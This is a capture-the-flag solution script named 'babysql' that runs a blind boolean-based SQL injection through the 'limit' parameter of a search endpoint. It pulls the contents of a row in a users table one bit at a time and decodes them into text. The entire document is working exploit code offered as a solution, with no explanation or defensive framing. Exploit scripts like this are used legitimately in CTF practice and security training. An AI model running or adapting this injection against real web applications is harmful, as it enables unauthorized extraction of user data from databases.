babysql solution

solve.py

#!/usr/bin/env python
import requests
import json

data = ''
for j in range(7, 0x100):
    i = 0
    while i < 8:
        payload = {
            'limit': "(SELECT (ASCII(SUBSTRING((SELECT users::text FROM users LIMIT 1 OFFSET 4),{},1)) >> {}) & 1)".format(j, i)
        }
        r = requests.get("http://mashiro.kr:13000/search", params=payload)
        try:
            result = json.loads(r.text)
        except Exception as e:
            continue
        if result['result'] == False:
            print(r.text)
            exit()
        elif len(result['items']) == 1:
            data = '1' + data
        else:
            data = '0' + data
        i += 1
    
    print(b"".fromhex(hex(int(data, 2))[2:])[::-1])
    if b"".fromhex(hex(int(data, 2))[2:])[0] == ord(")"):
        break
print(hex(int(data, 2))[2:])
print(b"".fromhex(hex(int(data, 2))[2:])[::-1])